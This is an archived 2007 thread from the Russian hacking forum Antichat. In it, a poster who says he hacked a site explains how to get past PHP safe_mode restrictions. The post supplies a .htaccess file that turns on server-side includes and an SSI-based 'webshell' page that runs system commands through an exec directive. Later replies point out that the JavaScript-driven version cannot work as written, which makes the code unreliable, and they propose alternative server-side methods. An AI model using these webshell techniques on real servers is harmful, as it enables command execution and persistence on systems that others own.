Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   обход ограничений safe_mode... (https://forum.antichat.xyz/showthread.php?t=37928)

p-range 14.04.2007 12:30

обход ограничений safe_mode...
 
Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on.
Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.

Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.

Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:
Код:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:
Код:

<html>
<body>
<script language="JavaScript">
<!--
function execute() {
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
//-->
</script>
<form name="exec">
<input type="text" name="cmd" size="20" value="">&nbsp;
<input type="submit" value="exec" onClick="execute()">
</form>
</body>
</html>

Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:
Код:

<!--#exec cmd="uname -a;"-->
А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.

Вот собственно все что я хотел рассказать.

Полезные ссылки:
SSI
Обход Safe Mode
Поднимаем железный занавес

ShAnKaR 15.04.2007 01:52

НЕ ВЕРЮ (c) станиславский
не верю что будет работать так как ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента

если очень хочется неменяя кода скрипта выполнять разные команды можно сделать чтоб в кмд передавался какойнить HTTP_ACCEPT от клиента с командой, да и вобще ssi давно и много где освещалось так что незачет.

guest3297 15.04.2007 02:00

ShAnKaR
Согласен, способ был бы актуален на jsp но... там нету safe_mode...


p-range 16.04.2007 10:22

ShAnKaR, не веришь, проверь.
Цитата:

ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента
ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.

SMiX 16.04.2007 10:34

Как сервер узнает, какую команду выполнять? Чисто физически браузер не передает серву участок кода с ssi...

Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.

p-range 16.04.2007 10:47

Цитата:

Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.
ты имеешь ввиду php?

SMiX 16.04.2007 10:48

да любой, хоть jsp

p-range 16.04.2007 10:52

ясно, будет время реализую

ShAnKaR 16.04.2007 18:54

Цитата:

Сообщение от p-range
ShAnKaR, не веришь, проверь.

ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.

эээх не слушают меня ни когда :( и не знают а спорят и спорят

T0p 16.04.2007 22:46

А это не пробовал никто?

http://www.securitylab.ru/vulnerability/source/271721.php


Время: 17:55